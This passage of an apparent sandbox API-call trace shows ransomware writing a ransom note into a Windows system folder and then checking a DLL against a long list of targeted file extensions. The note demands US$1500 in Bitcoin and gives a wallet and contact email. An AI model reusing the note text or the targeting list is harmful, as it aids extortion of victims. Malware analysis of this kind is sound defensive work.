returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\HOW TO DECRYPT FILES.txt" [0103.366] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\fd1cf4e736d6b312eac977974d613d35\\how to decrypt files.txt")) returned 0xffffffff [0103.366] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\fd1cf4e736d6b312eac977974d613d35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.370] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.370] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.372] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.372] CloseHandle (hObject=0x90) returned 1 [0103.372] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll" [0103.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0103.372] lstrlenA (lpString="*.ems") returned 5 [0103.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.db") returned 0 [0103.372] lstrlenA (lpString="*.db") returned 4 [0103.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.372] lstrlenA (lpString="*.dbf") returned 5 [0103.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0103.372] lstrlenA (lpString="*.myox") returned 6 [0103.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0103.372] lstrlenA (lpString="*.myo") returned 5 [0103.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.372] lstrlenA (lpString="*.qbw") returned 5 [0103.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.373] lstrlenA (lpString="*.qbb") returned 5 [0103.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.373] lstrlenA (lpString="*.qbm") returned 5 [0103.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.373] lstrlenA (lpString="*.qbo") returned 5 [0103.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.373] lstrlenA (lpString="*.qbx") returned 5 [0103.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0103.373] lstrlenA (lpString="*.qba") returned 5 [0103.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0103.373] lstrlenA (lpString="*.qby") returned 5 [0103.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.373] lstrlenA (lpString="*.qbj") returned 5 [0103.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.373] lstrlenA (lpString="*.ofx") returned 5 [0103.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0103.373] lstrlenA (lpString="*.qif") returned 5 [0103.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0103.374] lstrlenA (lpString="*.mye") returned 5 [0103.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.374] lstrlenA (lpString="*.mbox") returned 6 [0103.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.374] lstrlenA (lpString="*.eml") returned 5 [0103.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0103.374] lstrlenA (lpString="*.pst") returned 5 [0103.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0103.374] lstrlenA (lpString="*.ost") returned 5 [0103.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0103.374] lstrlenA (lpString="*.idx") returned 5 [0103.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.374] lstrlenA (lpString="*.dbx") returned 5 [0103.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0103.374] lstrlenA (lpString="*.sql") returned 5 [0103.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.374] lstrlenA (lpString="*.mdb") returned 5 [0103.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.374] lstrlenA (lpString="*.fdb") returned 5 [0103.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0103.375] lstrlenA (lpString="*.wab") returned 5 [0103.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0103.375] lstrlenA (lpString="*.dat") returned 5 [0103.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0103.375] lstrlenA (lpString="*.txt") returned 5 [0103.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.375] lstrlenA (lpString="*.jpeg") returned 6 [0103.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.375] lstrlenA (lpString="*.jpg") returned 5 [0103.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.png") returned 0 [0103.375] lstrlenA (lpString="*.png") returned 5 [0103.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.php") returned 0 [0103.375] lstrlenA (lpString="*.php") returned 5 [0103.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0103.375] lstrlenA (lpString="*.cs") returned 4 [0103.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.375] lstrlenA (lpString="*.cpp") returned 5 [0103.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0103.375] lstrlenA (lpString="*.rar") returned 5 [0103.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0103.375] lstrlenA (lpString="*.zip") returned 5 [0103.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.html") returned 0 [0103.376] lstrlenA (lpString="*.html") returned 6 [0103.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0103.376] lstrlenA (lpString="*.htm") returned 5 [0103.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.376] lstrlenA (lpString="*.xlsx") returned 6 [0103.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0103.376] lstrlenA (lpString="*.xls") returned 5 [0103.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.376] lstrlenA (lpString="*.mp4") returned 5 [0103.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.376] lstrlenA (lpString="*.ppt") returned 5 [0103.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.376] lstrlenA (lpString="*.pptx") returned 6 [0103.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0103.376] lstrlenA (lpString="*.doc") returned 5 [0103.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0103.376] lstrlenA (lpString="*.dot") returned 5 [0103.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0103.376] lstrlenA (lpString="*.docx") returned 6 [0103.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0103.377] lstrlenA (lpString="*.7z") returned 4 [0103.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0103.377] lstrlenA (lpString="*.tar") returned 5 [0103.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.377] lstrlenA (lpString="*.bz2") returned 5 [0103.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0103.377] lstrlenA (lpString="*.gz") returned 4 [0103.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.377] lstrlenA (lpString="*.mkv") returned 5 [0103.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.377] lstrlenA (lpString="*.eml") returned 5 [0103.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0103.377] lstrlenA (lpString="*.msg") returned 5 [0103.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0103.377] lstrlenA (lpString="*.edb") returned 5 [0103.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.377] lstrlenA (lpString="*.accdb") returned 7 [0103.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0103.378] lstrlenA (lpString="*.odb") returned 5 [0103.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.java") returned 0 [0103.378] lstrlenA (lpString="*.java") returned 6 [0103.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0103.378] lstrlenA (lpString="*.asm") returned 5 [0103.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.378] lstrlenA (lpString="*.pfx") returned 5 [0103.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0103.378] lstrlenA (lpString="*.pem") returned 5 [0103.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0103.378] lstrlenA (lpString="*.p12") returned 5 [0103.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.378] lstrlenA (lpString="*.gpg") returned 5 [0103.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.378] lstrlenA (lpString="*.vsd") returned 5 [0103.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0103.378] lstrlenA (lpString="*.odg") returned 5 [0103.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0103.378] lstrlenA (lpString="*.raw") returned 5 [0103.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0103.378] lstrlenA (lpString="*.nef") returned 5 [0103.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0103.379] lstrlenA (lpString="*.svg") returned 5 [0103.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0103.379] lstrlenA (lpString="*.psd") returned 5 [0103.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.379] lstrlenA (lpString="*.vmx") returned 5 [0103.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.379] lstrlenA (lpString="*.vmdk") returned 6 [0103.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.379] lstrlenA (lpString="*.vdi") returned 5 [0103.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.379] lstrlenA (lpString="*.lay6") returned 6 [0103.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.379] lstrlenA (lpString="*.mpeg") returned 6 [0103.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.379] lstrlenA (lpString="*.djvu") returned 6 [0103.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.379] lstrlenA (lpString="*.tiff") returned 6 [0103.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0103.379] lstrlenA (lpString="*.backup") returned 8 [0103.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.380] lstrlenA (lpString="*.pdf") returned 5 [0103.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0103.380] lstrlenA (lpString="*.cert") returned 6 [0103.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0103.380] lstrlenA (lpString="*.docm") returned 6 [0103.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.380] lstrlenA (lpString="*.xlsm") returned 6 [0103.380] PathMatchSpecA 